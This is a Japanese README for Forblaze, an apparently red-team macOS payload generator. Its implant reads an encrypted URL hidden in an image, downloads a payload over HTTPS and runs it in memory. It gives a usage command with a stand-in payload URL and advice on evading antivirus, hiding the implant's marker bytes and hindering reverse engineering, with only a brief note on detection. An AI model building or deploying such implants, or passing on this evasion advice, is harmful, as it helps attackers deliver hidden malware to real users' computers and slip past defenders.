
著者: AsaurusRex
このプロジェクトを、正規のレッドチーム/ペネトレーションテスト業務や研究以外の目的で使用しないでください。いかなる違法行為にも使用しないでください。このプロジェクトは研究目的であり、レッドチームとブルーチームの両方のミッションを前進させるために役立つことを目的としています。
Forblazeに関するブログ記事は、https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571 をご覧ください。
Forblazeは、Mac OSのペイロードにステガノグラフィー機能を提供するために設計されたプロジェクトです。Python3を使用して、コンパイル可能なObj-Cファイルを生成します。このファイルは、ステゴファイルから目的の暗号化URLを抽出し、ペイロードをHTTPS経由で取得してメモリ上で直接実行します。カスタム暗号化を採用していますが、これは暗号学的に安全なものではなく、AVエンジンによる解析を妨害するためのものです。これは以前にWindows向けに作成したRubiconというカスタム暗号化を少し変更したもので、実際にはよりシンプルです。Forblazeは、ステゴファイル内で暗号化されたバイト列を識別するためにヘッダーバイトとフッターバイトを利用し、compile_forblaze.mにハードコードされた鍵で復号します。この鍵は保存して再利用でき、異なるURLを使用して異なるペイロードを取得できるようにすることが可能です。その場合、同じコンパイル済みForblazeバイナリでも(ヘッダーとフッターバイトが変更されず、新しいステゴファイルが正しい場所にアップロードされていれば)実行・処理できるはずです。
Python3(Python3.9+でのみテスト済み)、および関連するPythonライブラリ - pip3が必要なPython依存関係を解決します。また、コンパイルにはclangを使用するため、ForblazeはMac上で実行して正しくコンパイルする必要があります。
usage: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE]
[-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION]
[-compiled_binary COMPILED_BINARY]
インプラント用ステゴファイルを生成します。
オプション引数:
-h, --help このヘルプメッセージを表示して終了します。
-innocent_path PATH 使用する無害なファイルのフルパスを指定します。
-o OUTPUT ステゴファイルの出力先パスを指定します。
-len_key LENGTH_OF_KEY 鍵の長さをバイト単位で指定する正の整数。デフォルトは16です。10~150バイトの間でなければなりません。
-url_to_encrypt URL コンパイルファイル内に埋め込むURLを指定します。
-supply_key SUPPLIED_KEY 特定の鍵を使用したい場合は、ここで指定します。形式は -supply_key "\x6e\x60\..." のように、各バイト間に二重バックスラッシュが必要です。そうしないと動作しません。
-stego_location STEGO_LOCATION ターゲット上でステゴファイルが配置される場所を指定する必要があります。厳密なフルパス(例:/Users/<>/Documents/file.jpg)を使用することを推奨します。
-compiled_binary COMPILED_BINARY ステゴファイルからURLを抽出し、メモリ内でコードを実行するコンパイル済みバイナリの名前を指定します。デフォルトはforblazeです。
-method METHOD 使用するメソッドを選択します。メソッド1はdylibを直接メモリに実行する方式で、Goペイロードと通常のペイロードの両方で動作します。メソッド2はmachoファイルを直接メモリに実行する方式ですが、Goコンパイル済みペイロードでは動作しません。メソッド3はメソッド1と同様ですが、復号鍵をサーバー経由で取得する方式で、運用上のセキュリティ(OpSec)に優れています。デフォルトのメソッドは1です。注意: 実行方法によっては、'module'(別名RunMain)を手動で編集する必要がある場合があります。
-key_url KEY_URL ステゴファイルを復号するための鍵のURLを指定します。
python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg -compiled_binary innocent_binary
正直なところ、それほど多くはありません。Mac OSの検出は、特にインメモリアクティビティについてはまだかなり貧弱です。読者への練習課題として、このコードを少し変更すれば、URL経由ではなくペイロードバイトを直接呼び出すことも可能です。ただし、ペイロードのサイズによっては、Pythonスクリプトの暗号化部分の完了に許容できない時間がかかる可能性があります。
注意: このコードはMach-Oバイナリ(dylibではありませんが、コード内で簡単に変更可能)にコンパイルされるため、デフォルトではGatekeeperなどの制御により、ペイロードに署名するか、Quarantine属性を削除しない限り実行がブロックされます。
デフォルトからランダムバイト数を変更したり、Forblazeがステゴファイル内でペイロードを見つけるために使用するデフォルトのヘッダー/フッターバイトやその長さを変更(より目立たなくするため)することをお勧めします。
最善のOpSecのためには、復号鍵を自分が管理する外部サーバーから取得することを推奨します。そうすれば、鍵へのアクセスを厳密に制御でき、リバースエンジニアリングがはるかに困難になります。
ステガノグラフィーは検出が非常に困難です。ステゴファイルの場所が分かっているなら、通常のファイルのEOF(JPEGの場合は"FFD9"の後など)以降の疑わしいバイトを抽出し始めることができます。これらの疑わしいバイトには、暗号化されたペイロードと意味のないランダムバイトが含まれており、Forblazeで指定されたヘッダーとトレイリングバイトを持っていなければ、それらを区別するのは困難です。これらのバイトを調べて、繰り返しパターンを探すことは可能ですが(Forblazeのヘッダー/フッターバイトはそのように動作する傾向があるため)、熟練したオペレーターはデフォルトよりも発見が難しくなるように変更できるでしょう。ペイロードが捕捉された場合、明らかにバイナリをリバースエンジニアリングしてステゴファイルを見つけ、ハードコードされた鍵とヘッダー/フッターを使用して呼び出されているURL(または他のバイト)を逆算しようとするでしょう。しかし、それはすべて何らかの方法でバイナリを発見したことが前提です。
このツールは、Big SurやCatalina(x64システム)など、さまざまなバージョンのMac OSでテストされています。問題があればお知らせください。
カスタム暗号化は基本的なシーザー暗号であり、鍵の異なるバイトを使用してプレーンテキストのバイトをシフトします。そのため、必ずしも鍵が大きいほど暗号化に優れているわけではありません。プレーンテキストの長さに依存します。プレーンテキストが50バイトで、150バイトの鍵を使用する場合、鍵の最初の50バイトのみが使用されます。ただし、プレーンテキストが150バイトを超える場合、長い鍵の方がより安全になります。
ステガノグラフィーは非常にシンプルです。元の無害なファイルのバイトはそのまま保持され、その後にランダムバイト(および暗号化されたペイロードバイト)が追加されます。デフォルトでは、このランダムバイトの長さは2~2000バイトの範囲です(これはプレーンテキストのサイズに合わせて変更すべきです。プレーンテキストが大きいほど、より多くのランダムバイトを生成する必要があります)。
インメモリ実行の部分は、https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory および maisal loader(現時点ではリンクが見つかりません)を参考にしています。変更点は、ペイロードバイトをオンディスクファイルから読み込む代わりに、http/https経由で読み込むという点だけです。
コメントやコラボレーションを大いに歓迎します!このプロジェクトが、カスタム暗号のトピックに関する有益な議論を促進したり、研究者に新たな洞察を提供する助けになれば幸いです。